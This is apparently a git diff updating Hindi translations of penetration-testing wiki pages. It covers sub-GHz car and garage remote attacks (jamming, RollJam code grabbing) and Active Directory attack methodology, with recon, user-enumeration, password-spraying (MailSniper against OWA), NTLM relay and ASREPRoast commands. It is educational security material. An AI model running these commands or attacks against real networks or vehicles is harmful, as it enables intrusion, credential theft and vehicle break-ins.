प्रणाली में, रिमोट कंट्रोल और गैरेज दरवाजे के ओपनर के पास एक **साझा एल्गोरिदम** होता है जो हर बार रिमोट के उपयोग पर **एक नया कोड उत्पन्न** करता है। गैरेज दरवाजे का ओपनर केवल **सही कोड** पर प्रतिक्रिया करेगा, जिससे किसी के लिए केवल कोड कैप्चर करके गैरेज में अनधिकृत पहुंच प्राप्त करना बहुत कठिन हो जाता है। +रोलिंग कोड प्रणाली में, रिमोट कंट्रोल और गैरेज दरवाजे के ओपनर के पास एक **साझा एल्गोरिदम** होता है जो हर बार रिमोट के उपयोग पर **एक नया कोड उत्पन्न** करता है। गैरेज दरवाजे का ओपनर केवल **सही कोड** पर प्रतिक्रिया करेगा, जिससे किसी के लिए केवल कोड को कैप्चर करके गैरेज में अनधिकृत पहुंच प्राप्त करना बहुत अधिक कठिन हो जाता है। ### **Missing Link Attack** @@ -55,20 +56,20 @@ flipper-zero/fz-sub-ghz.md एक हमलावर **वाहन या रिसीवर के पास सिग्नल को जाम कर सकता है** ताकि **रिसीवर वास्तव में कोड को ‘सुन’ न सके**, और जब ऐसा हो रहा हो, तो आप बस **कोड को कैप्चर और रिप्ले** कर सकते हैं जब आप जाम करना बंद कर दें। -शिकार किसी बिंदु पर **कार को लॉक करने के लिए चाबियाँ** का उपयोग करेगा, लेकिन फिर हमले ने **पर्याप्त "दरवाजा बंद करें" कोड रिकॉर्ड कर लिए होंगे** जिन्हें उम्मीद है कि दरवाजा खोलने के लिए फिर से भेजा जा सकता है (एक **आवृत्ति में परिवर्तन की आवश्यकता हो सकती है** क्योंकि कुछ कारें दरवाजे को खोलने और बंद करने के लिए समान कोड का उपयोग करती हैं लेकिन विभिन्न आवृत्तियों में दोनों कमांड सुनती हैं)। +शिकार किसी बिंदु पर **कार को लॉक करने के लिए चाबियाँ** का उपयोग करेगा, लेकिन फिर हमले ने **पर्याप्त "दरवाजा बंद" कोड रिकॉर्ड कर लिया होगा** जो उम्मीद है कि दरवाजा खोलने के लिए फिर से भेजे जा सकें (एक **आवृत्ति में परिवर्तन की आवश्यकता हो सकती है** क्योंकि कुछ कारें दरवाजे को खोलने और बंद करने के लिए समान कोड का उपयोग करती हैं लेकिन विभिन्न आवृत्तियों में दोनों कमांड सुनती हैं)। > [!WARNING] -> **जाम करना काम करता है**, लेकिन यह ध्यान देने योग्य है क्योंकि यदि **व्यक्ति कार को लॉक करने के लिए दरवाजों का परीक्षण करता है** ताकि यह सुनिश्चित हो सके कि वे लॉक हैं, तो वे देखेंगे कि कार अनलॉक है। इसके अलावा, यदि वे ऐसे हमलों के बारे में जानते हैं, तो वे यह भी सुन सकते हैं कि दरवाजों ने कभी लॉक **ध्वनि** नहीं बनाई या कारों के **लाइट्स** कभी फ्लैश नहीं हुए जब उन्होंने ‘लॉक’ बटन दबाया। +> **जाम करना काम करता है**, लेकिन यह ध्यान देने योग्य है क्योंकि यदि **व्यक्ति कार को लॉक करते समय दरवाजों का परीक्षण करता है** ताकि यह सुनिश्चित हो सके कि वे लॉक हैं, तो वे देखेंगे कि कार अनलॉक है। इसके अलावा, यदि वे ऐसे हमलों के बारे में जानते हैं, तो वे यह भी सुन सकते हैं कि दरवाजों ने कभी लॉक **ध्वनि** नहीं बनाई या कारों के **लाइट्स** कभी फ्लैश नहीं हुए जब उन्होंने ‘लॉक’ बटन दबाया। ### **Code Grabbing Attack ( aka ‘RollJam’ )** यह एक अधिक **गुप्त जामिंग तकनीक** है। हमलावर सिग्नल को जाम करेगा, इसलिए जब शिकार दरवाजे को लॉक करने की कोशिश करेगा, तो यह काम नहीं करेगा, लेकिन हमलावर **इस कोड को रिकॉर्ड करेगा**। फिर, शिकार **फिर से कार को लॉक करने की कोशिश करेगा** बटन दबाकर और कार **इस दूसरे कोड को रिकॉर्ड करेगी**।\ -इसके तुरंत बाद **हमलावर पहले कोड को भेज सकता है** और **कार लॉक हो जाएगी** (शिकार को लगेगा कि दूसरे प्रेस ने इसे बंद कर दिया)। फिर, हमलावर **कार को खोलने के लिए दूसरे चुराए गए कोड को भेजने में सक्षम होगा** (मानते हुए कि **"कार बंद करें" कोड का उपयोग इसे खोलने के लिए भी किया जा सकता है**)। एक आवृत्ति में परिवर्तन की आवश्यकता हो सकती है (क्योंकि कुछ कारें दरवाजे को खोलने और बंद करने के लिए समान कोड का उपयोग करती हैं लेकिन विभिन्न आवृत्तियों में दोनों कमांड सुनती हैं)। +इसके तुरंत बाद, **हमलावर पहले कोड को भेज सकता है** और **कार लॉक हो जाएगी** (शिकार सोचेगा कि दूसरे प्रेस ने इसे बंद कर दिया)। फिर, हमलावर **कार को खोलने के लिए दूसरे चुराए गए कोड को भेजने में सक्षम होगा** (मानते हुए कि **"कार बंद" कोड का उपयोग इसे खोलने के लिए भी किया जा सकता है**)। एक आवृत्ति में परिवर्तन की आवश्यकता हो सकती है (क्योंकि कुछ कारें दरवाजे को खोलने और बंद करने के लिए समान कोड का उपयोग करती हैं लेकिन विभिन्न आवृत्तियों में दोनों कमांड सुनती हैं)। -हमलावर **कार रिसीवर को जाम कर सकता है और अपने रिसीवर को नहीं** क्योंकि यदि कार रिसीवर उदाहरण के लिए 1 मेगाहर्ट्ज ब्रॉडबैंड पर सुन रहा है, तो हमलावर **रिमोट द्वारा उपयोग की जाने वाली सटीक आवृत्ति को जाम नहीं करेगा** बल्कि **उस स्पेक्ट्रम में एक निकटतम आवृत्ति** को जाम करेगा जबकि **हमलावर का रिसीवर एक छोटे रेंज में सुन रहा होगा** जहां वह रिमोट सिग्नल को **जाम सिग्नल के बिना सुन सकता है**। +हमलावर **कार रिसीवर को जाम कर सकता है और अपने रिसीवर को नहीं** क्योंकि यदि कार रिसीवर उदाहरण के लिए 1 मेगाहर्ट्ज ब्रॉडबैंड में सुन रहा है, तो हमलावर **रिमोट द्वारा उपयोग की जाने वाली सटीक आवृत्ति को जाम नहीं करेगा** बल्कि **उस स्पेक्ट्रम में एक निकटतम आवृत्ति** को जाम करेगा जबकि **हमलावर का रिसीवर एक छोटे रेंज में सुन रहा होगा** जहां वह रिमोट सिग्नल को **जाम सिग्नल के बिना सुन सकता है**। > [!WARNING] -> अन्य कार्यान्वयन जो विनिर्देशों में देखे गए हैं, दिखाते हैं कि **रोलिंग कोड कुल कोड का एक भाग** है जो भेजा गया है। यानी भेजा गया कोड एक **24 बिट कुंजी** है जहां पहले **12 रोलिंग कोड** हैं, **दूसरे 8 कमांड** (जैसे लॉक या अनलॉक) हैं और अंतिम 4 **चेकसम** हैं। इस प्रकार को लागू करने वाले वाहन स्वाभाविक रूप से संवेदनशील होते हैं क्योंकि हमलावर को केवल रोलिंग कोड खंड को बदलने की आवश्यकता होती है ताकि वह **दोनों आवृत्तियों पर किसी भी रोलिंग कोड का उपयोग कर सके**। +> अन्य कार्यान्वयन जो विनिर्देशों में देखे गए हैं, दिखाते हैं कि **रोलिंग कोड कुल कोड का एक हिस्सा** होता है जो भेजा जाता है। यानी भेजा गया कोड एक **24 बिट कुंजी** है जहां पहले **12 रोलिंग कोड** हैं, **दूसरे 8 कमांड** (जैसे लॉक या अनलॉक) हैं और अंतिम 4 **चेकसम** है। इस प्रकार को लागू करने वाले वाहन स्वाभाविक रूप से संवेदनशील होते हैं क्योंकि हमलावर को केवल रोलिंग कोड खंड को बदलने की आवश्यकता होती है ताकि वह **दोनों आवृत्तियों पर किसी भी रोलिंग कोड का उपयोग कर सके**। > [!CAUTION] > ध्यान दें कि यदि शिकार पहले कोड को भेजते समय तीसरा कोड भेजता है, तो पहला और दूसरा कोड अमान्य हो जाएंगे। diff --git a/src/windows-hardening/active-directory-methodology/README.md b/src/windows-hardening/active-directory-methodology/README.md index 1e65928c8..e1bc15bd5 100644 --- a/src/windows-hardening/active-directory-methodology/README.md +++ b/src/windows-hardening/active-directory-methodology/README.md @@ -4,21 +4,21 @@ ## Basic overview -**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **वस्तुओं** को एक नेटवर्क के भीतर कुशलता से बनाने और प्रबंधित करने में सक्षम बनाता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने की सुविधा प्रदान करता है, जबकि विभिन्न स्तरों पर **पहुँच अधिकारों** को नियंत्रित करता है। +**Active Directory** एक मौलिक तकनीक के रूप में कार्य करता है, जो **नेटवर्क प्रशासकों** को **डोमेन**, **उपयोगकर्ताओं**, और **ऑब्जेक्ट्स** को प्रभावी ढंग से बनाने और प्रबंधित करने में सक्षम बनाता है। इसे स्केल करने के लिए डिज़ाइन किया गया है, जो एक विस्तृत संख्या में उपयोगकर्ताओं को प्रबंधनीय **समूहों** और **उपसमूहों** में व्यवस्थित करने की सुविधा प्रदान करता है, जबकि विभिन्न स्तरों पर **एक्सेस अधिकारों** को नियंत्रित करता है। -**Active Directory** की संरचना तीन प्राथमिक परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** वस्तुओं का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेनों के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। इन स्तरों में विशिष्ट **पहुँच** और **संचार अधिकार** निर्धारित किए जा सकते हैं। +**Active Directory** की संरचना तीन प्राथमिक परतों में विभाजित है: **डोमेन**, **पेड़**, और **जंगल**। एक **डोमेन** ऑब्जेक्ट्स का एक संग्रह है, जैसे **उपयोगकर्ता** या **डिवाइस**, जो एक सामान्य डेटाबेस साझा करते हैं। **पेड़** इन डोमेन के समूह होते हैं जो एक साझा संरचना द्वारा जुड़े होते हैं, और एक **जंगल** कई पेड़ों का संग्रह है, जो **विश्वास संबंधों** के माध्यम से आपस में जुड़े होते हैं, जो संगठनात्मक संरचना की सबसे ऊपरी परत बनाते हैं। इन स्तरों में विशिष्ट **एक्सेस** और **संवाद अधिकार** निर्धारित किए जा सकते हैं। **Active Directory** के भीतर प्रमुख अवधारणाएँ शामिल हैं: -1. **Directory** – Active Directory वस्तुओं से संबंधित सभी जानकारी को रखता है। +1. **Directory** – Active Directory ऑब्जेक्ट्स से संबंधित सभी जानकारी को रखता है। 2. **Object** – निर्देशिका के भीतर की संस्थाएँ, जैसे **उपयोगकर्ता**, **समूह**, या **साझा फ़ोल्डर** को दर्शाता है। -3. **Domain** – निर्देशिका वस्तुओं के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेनों का एक साथ अस्तित्व हो सकता है, प्रत्येक अपनी स्वयं की वस्तु संग्रह बनाए रखता है। -4. **Tree** – डोमेनों का एक समूह जो एक सामान्य रूट डोमेन साझा करता है। +3. **Domain** – निर्देशिका ऑब्जेक्ट्स के लिए एक कंटेनर के रूप में कार्य करता है, जिसमें कई डोमेन एक **जंगल** के भीतर सह-अस्तित्व में रह सकते हैं, प्रत्येक अपनी स्वयं की ऑब्जेक्ट संग्रह बनाए रखता है। +4. **Tree** – डोमेन का एक समूह जो एक सामान्य रूट डोमेन साझा करता है। 5. **Forest** – Active Directory में संगठनात्मक संरचना का शिखर, जिसमें कई पेड़ होते हैं जिनमें **विश्वास संबंध** होते हैं। **Active Directory Domain Services (AD DS)** एक श्रृंखला की सेवाओं को शामिल करता है जो नेटवर्क के भीतर केंद्रीकृत प्रबंधन और संचार के लिए महत्वपूर्ण हैं। इन सेवाओं में शामिल हैं: -1. **Domain Services** – डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेनों** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं। +1. **Domain Services** – डेटा भंडारण को केंद्रीकृत करता है और **उपयोगकर्ताओं** और **डोमेन** के बीच इंटरैक्शन को प्रबंधित करता है, जिसमें **प्रमाणीकरण** और **खोज** कार्यक्षमताएँ शामिल हैं। 2. **Certificate Services** – सुरक्षित **डिजिटल प्रमाणपत्रों** के निर्माण, वितरण, और प्रबंधन की देखरेख करता है। 3. **Lightweight Directory Services** – **LDAP प्रोटोकॉल** के माध्यम से निर्देशिका-सक्षम अनुप्रयोगों का समर्थन करता है। 4. **Directory Federation Services** – एकल सत्र में कई वेब अनुप्रयोगों में उपयोगकर्ताओं को प्रमाणित करने के लिए **सिंगल-साइन-ऑन** क्षमताएँ प्रदान करता है। @@ -29,47 +29,49 @@ ### **Kerberos Authentication** -AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को वास्तव में अच्छी तरह से **समझना** होगा।\ +AD पर **हमला करने** के लिए आपको **Kerberos प्रमाणीकरण प्रक्रिया** को बहुत अच्छे से **समझना** होगा।\ [**यदि आप अभी भी नहीं जानते कि यह कैसे काम करता है, तो इस पृष्ठ को पढ़ें।**](kerberos-authentication.md) ## Cheat Sheet -आप [https://wadcoms.github.io/](https://wadcoms.github.io) पर जाकर AD को सूचीबद्ध/शोषण करने के लिए आप कौन से कमांड चला सकते हैं, इसका त्वरित दृश्य प्राप्त कर सकते हैं। +आप [https://wadcoms.github.io/](https://wadcoms.github.io) पर जाकर AD को सूचीबद्ध/शोषण करने के लिए आप कौन से कमांड चला सकते हैं, इसका त्वरित अवलोकन प्राप्त कर सकते हैं। > [!WARNING] > Kerberos संचार के लिए **पूर्ण योग्य नाम (FQDN)** की आवश्यकता होती है। यदि आप किसी मशीन तक IP पते द्वारा पहुँचने का प्रयास करते हैं, तो **यह NTLM का उपयोग करेगा और Kerberos का नहीं**। ## Recon Active Directory (No creds/sessions) -यदि आपके पास केवल AD वातावरण तक पहुँच है लेकिन आपके पास कोई प्रमाणपत्र/सत्र नहीं हैं, तो आप कर सकते हैं: +यदि आपके पास केवल AD वातावरण तक पहुँच है लेकिन आपके पास कोई क्रेडेंशियल/सेशंस नहीं हैं, तो आप कर सकते हैं: - **नेटवर्क का परीक्षण करें:** -- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उन पर **कमजोरियों का शोषण** करने या **प्रमाणपत्र निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)। +- नेटवर्क को स्कैन करें, मशीनें और खुले पोर्ट खोजें और उनसे **कमजोरियों का शोषण** करने या **क्रेडेंशियल्स निकालने** का प्रयास करें (उदाहरण के लिए, [प्रिंटर बहुत दिलचस्प लक्ष्य हो सकते हैं](ad-information-in-printers.md)। - DNS को सूचीबद्ध करने से डोमेन में प्रमुख सर्वरों के बारे में जानकारी मिल सकती है जैसे कि वेब, प्रिंटर, शेयर, वीपीएन, मीडिया, आदि। - `gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt` -- इस बारे में अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें। -- **smb सेवाओं पर शून्य और गेस्ट पहुँच की जाँच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा): +- इस पर अधिक जानकारी के लिए सामान्य [**Pentesting Methodology**](../../generic-methodologies-and-resources/pentesting-methodology.md) पर एक नज़र डालें। +- **smb सेवाओं पर शून्य और गेस्ट एक्सेस की जांच करें** (यह आधुनिक Windows संस्करणों पर काम नहीं करेगा): - `enum4linux -a -u "" -p "" && enum4linux -a -u "guest" -p "" ` - `smbmap -u "" -p "" -P 445 -H && smbmap -u "guest" -p "" -P 445 -H ` - `smbclient -U '%' -L // && smbclient -U 'guest%' -L //` - SMB सर्वर को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है: + {{#ref}} ../../network-services-pentesting/pentesting-smb/ {{#endref}} - **Ldap को सूचीबद्ध करें** - `nmap -n -sV --script "ldap* and not brute" -p 389 ` -- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम पहुँच** पर ध्यान दें): +- LDAP को सूचीबद्ध करने के लिए एक अधिक विस्तृत गाइड यहाँ मिल सकती है (विशेष रूप से **गुमनाम एक्सेस** पर ध्यान दें): + {{#ref}} ../../network-services-pentesting/pentesting-ldap.md {{#endref}} - **नेटवर्क को विषाक्त करें** -- [**Responder के साथ सेवाओं का अनुकरण करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) प्रमाणपत्र एकत्र करें -- [**रिले हमले का दुरुपयोग करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) होस्ट तक पहुँचें -- [**खराब UPnP सेवाओं को उजागर करके**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) के साथ प्रमाणपत्र एकत्र करें +- [**Responder के साथ सेवाओं का अनुकरण करके क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) +- [**रिले हमले का दुरुपयोग करके होस्ट तक पहुँचें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) +- [**खराब UPnP सेवाओं को उजागर करके क्रेडेंशियल्स इकट्ठा करें**](../../generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md)[**SDP**](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856) - [**OSINT**](https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/index.html): - आंतरिक दस्तावेजों, सोशल मीडिया, सेवाओं (मुख्य रूप से वेब) से उपयोगकर्ता नाम/नाम निकालें जो डोमेन वातावरण के भीतर हैं और सार्वजनिक रूप से उपलब्ध हैं। - यदि आप कंपनी के कर्मचारियों के पूर्ण नाम पाते हैं, तो आप विभिन्न AD **उपयोगकर्ता नाम सम्मेलनों** का प्रयास कर सकते हैं (**[यह पढ़ें](https://activedirectorypro.com/active-directory-user-naming-convention/)**)। सबसे सामान्य सम्मेलन हैं: _NameSurname_, _Name.Surname_, _NamSur_ (प्रत्येक के 3 अक्षर), _Nam.Sur_, _NSurname_, _N.Surname_, _SurnameName_, _Surname.Name_, _SurnameN_, _Surname.N_, 3 _यादृच्छिक अक्षर और 3 यादृच्छिक संख्या_ (abc123)। @@ -79,9 +81,9 @@ AD पर **हमला करने** के लिए आपको **Kerberos ### User enumeration -- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जाँच करें। -- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम का अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** एक AS-REP प्रतिक्रिया में **TGT** या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को उत्तेजित करेगा, जो इंगित करता है कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है। -- **MS-NRPC के खिलाफ कोई प्रमाणीकरण नहीं**: डोमेन नियंत्रकों पर MS-NRPC (Netlogon) इंटरफ़ेस के खिलाफ auth-level = 1 (कोई प्रमाणीकरण नहीं) का उपयोग करना। यह विधि `DsrGetDcNameEx2` फ़ंक्शन को कॉल करती है MS-NRPC इंटरफ़ेस को बाइंड करने के बाद यह जांचने के लिए कि क्या उपयोगकर्ता या कंप्यूटर बिना किसी प्रमाणपत्र के मौजूद है। [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) उपकरण इस प्रकार की सूचीबद्धता को लागू करता है। अनुसंधान यहाँ पाया जा सकता है [यहाँ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) +- **गुमनाम SMB/LDAP enum:** [**pentesting SMB**](../../network-services-pentesting/pentesting-smb/index.html) और [**pentesting LDAP**](../../network-services-pentesting/pentesting-ldap.md) पृष्ठों की जांच करें। +- **Kerbrute enum**: जब एक **अमान्य उपयोगकर्ता नाम अनुरोध किया जाता है** तो सर्वर **Kerberos त्रुटि** कोड _KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN_ का उपयोग करके प्रतिक्रिया देगा, जिससे हमें यह निर्धारित करने की अनुमति मिलती है कि उपयोगकर्ता नाम अमान्य था। **मान्य उपयोगकर्ता नाम** या तो **AS-REP** प्रतिक्रिया में **TGT** को उत्तेजित करेगा या त्रुटि _KRB5KDC_ERR_PREAUTH_REQUIRED_ को, यह संकेत करते हुए कि उपयोगकर्ता को पूर्व-प्रमाणीकरण करना आवश्यक है। +- **MS-NRPC के खिलाफ कोई प्रमाणीकरण नहीं**: डोमेन नियंत्रकों पर MS-NRPC (Netlogon) इंटरफ़ेस के खिलाफ auth-level = 1 (कोई प्रमाणीकरण नहीं) का उपयोग करना। यह विधि `DsrGetDcNameEx2` फ़ंक्शन को कॉल करती है MS-NRPC इंटरफ़ेस को बाइंड करने के बाद यह जांचने के लिए कि क्या उपयोगकर्ता या कंप्यूटर बिना किसी क्रेडेंशियल के मौजूद है। [NauthNRPC](https://github.com/sud0Ru/NauthNRPC) उपकरण इस प्रकार की सूचीबद्धता को लागू करता है। अनुसंधान यहाँ पाया जा सकता है [यहाँ](https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2024/05/22190247/A-journey-into-forgotten-Null-Session-and-MS-RPC-interfaces.pdf) ```bash ./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt #From https://github.com/ropnop/kerbrute/releases @@ -95,7 +97,7 @@ python3 nauth.py -t target -u users_file.txt #From https://github.com/sud0Ru/Nau ``` - **OWA (Outlook Web Access) सर्वर** -यदि आपने नेटवर्क में इनमें से एक सर्वर पाया है, तो आप इसके खिलाफ **उपयोगकर्ता गणना** भी कर सकते हैं। उदाहरण के लिए, आप उपकरण [**MailSniper**](https://github.com/dafthack/MailSniper) का उपयोग कर सकते हैं: +यदि आप नेटवर्क में इनमें से एक सर्वर पाते हैं, तो आप इसके खिलाफ **उपयोगकर्ता गणना** भी कर सकते हैं। उदाहरण के लिए, आप उपकरण [**MailSniper**](https://github.com/dafthack/MailSniper) का उपयोग कर सकते हैं: ```bash ipmo C:\Tools\MailSniper\MailSniper.ps1 # Get info about the domain @@ -108,17 +110,17 @@ Invoke-PasswordSprayOWA -ExchHostname [ip] -UserList .\valid.txt -Password Summe Get-GlobalAddressList -ExchHostname [ip] -UserName [domain]\[username] -Password Summer2021 -OutFile gal.txt ``` > [!WARNING] -> आप [**इस github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) और इस एक ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) में उपयोगकर्ता नामों की सूचियाँ पा सकते हैं। +> आप [**इस github repo**](https://github.com/danielmiessler/SecLists/tree/master/Usernames/Names) और इस ([**statistically-likely-usernames**](https://github.com/insidetrust/statistically-likely-usernames)) में उपयोगकर्ता नामों की सूचियाँ पा सकते हैं। > -> हालाँकि, आपके पास **कंपनी में काम करने वाले लोगों के नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ, आप संभावित मान्य उपयोगकर्ता नाम उत्पन्न करने के लिए [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग कर सकते हैं। +> हालाँकि, आपके पास कंपनी में काम कर रहे लोगों के **नाम** होने चाहिए जो आप पहले की पुनः खोज चरण से प्राप्त कर चुके हैं। नाम और उपनाम के साथ आप [**namemash.py**](https://gist.github.com/superkojiman/11076951) स्क्रिप्ट का उपयोग करके संभावित मान्य उपयोगकर्ता नाम उत्पन्न कर सकते हैं। ### एक या एक से अधिक उपयोगकर्ता नाम जानना ठीक है, तो आप जानते हैं कि आपके पास पहले से एक मान्य उपयोगकर्ता नाम है लेकिन कोई पासवर्ड नहीं है... फिर कोशिश करें: -- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है**, तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा। +- [**ASREPRoast**](asreproast.md): यदि किसी उपयोगकर्ता के पास _DONT_REQ_PREAUTH_ विशेषता **नहीं है** तो आप उस उपयोगकर्ता के लिए **AS_REP संदेश** का अनुरोध कर सकते हैं जिसमें उपयोगकर्ता के पासवर्ड के एक व्युत्पन्न द्वारा एन्क्रिप्टेड कुछ डेटा होगा। - [**Password Spraying**](password-spraying.md): चलो प्रत्येक खोजे गए उपयोगकर्ताओं के साथ सबसे **सामान्य पासवर्ड** आजमाते हैं, शायद कुछ उपयोगकर्ता एक खराब पासवर्ड का उपयोग कर रहा है (पासवर्ड नीति को ध्यान में रखें!)। -- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे कर सकते हैं** ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सकें। +- ध्यान दें कि आप **OWA सर्वरों को भी स्प्रे** कर सकते हैं ताकि उपयोगकर्ताओं के मेल सर्वरों तक पहुँच प्राप्त कर सकें। {{#ref}} password-spraying.md @@ -134,11 +136,11 @@ password-spraying.md ### NTLM रिले -यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं, तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTLM [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें। +यदि आप सक्रिय निर्देशिका को सूचीबद्ध करने में सफल रहे हैं तो आपके पास **अधिक ईमेल और नेटवर्क की बेहतर समझ** होगी। आप NTLM [**रिले हमलों**](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#relay-attack) को मजबूर करने में सक्षम हो सकते हैं ताकि AD वातावरण तक पहुँच प्राप्त कर सकें। ### NTLM क्रेडेंशियल्स चुराना -यदि आप **अन्य PCs या शेयरों** तक **null या guest user** के साथ **पहुँच** प्राप्त कर सकते हैं, तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTLM प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें: +यदि आप **अन्य PCs या शेयरों** तक **null या guest user** के साथ **पहुँच** कर सकते हैं तो आप **फाइलें** (जैसे SCF फाइल) रख सकते हैं जो यदि किसी तरह से पहुँची जाती हैं तो **आपके खिलाफ NTLM प्रमाणीकरण को ट्रिगर करेंगी** ताकि आप **NTLM चुनौती** चुरा सकें: {{#ref}} ../ntlm/places-to-steal-ntlm-creds.md @@ -146,9 +148,9 @@ password-spraying.md ## क्रेडेंशियल्स/सेशन के साथ सक्रिय निर्देशिका की सूची बनाना -इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं**। +इस चरण के लिए आपको **एक मान्य डोमेन खाते के क्रेडेंशियल्स या सत्र को समझौता करना होगा।** यदि आपके पास कुछ मान्य क्रेडेंशियल्स या एक डोमेन उपयोगकर्ता के रूप में एक शेल है, तो **आपको याद रखना चाहिए कि पहले दिए गए विकल्प अभी भी अन्य उपयोगकर्ताओं को समझौता करने के विकल्प हैं।** -प्रमाणित सूचीकरण शुरू करने से पहले आपको **Kerberos डबल हॉप समस्या** क्या है, यह जानना चाहिए। +प्रमाणित सूचीकरण शुरू करने से पहले आपको **Kerberos डबल हॉप समस्या** के बारे में जानना चाहिए। {{#ref}} kerberos-double-hop-problem.md @@ -158,16 +160,16 @@ kerberos-double-hop-problem.md एक खाते को समझौता करना **पूरे डोमेन को समझौता करने के लिए एक बड़ा कदम है**, क्योंकि आप **सक्रिय निर्देशिका सूचीकरण शुरू करने में सक्षम होंगे:** -[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर संभावित कमजोर उपयोगकर्ता को ढूंढ सकते हैं, और [**Password Spraying**](password-spraying.md) के संबंध में, आप **सभी उपयोगकर्ता नामों की एक सूची प्राप्त कर सकते हैं** और समझौता किए गए खाते का पासवर्ड, खाली पासवर्ड और नए आशाजनक पासवर्ड आजमा सकते हैं। +[**ASREPRoast**](asreproast.md) के संबंध में, आप अब हर 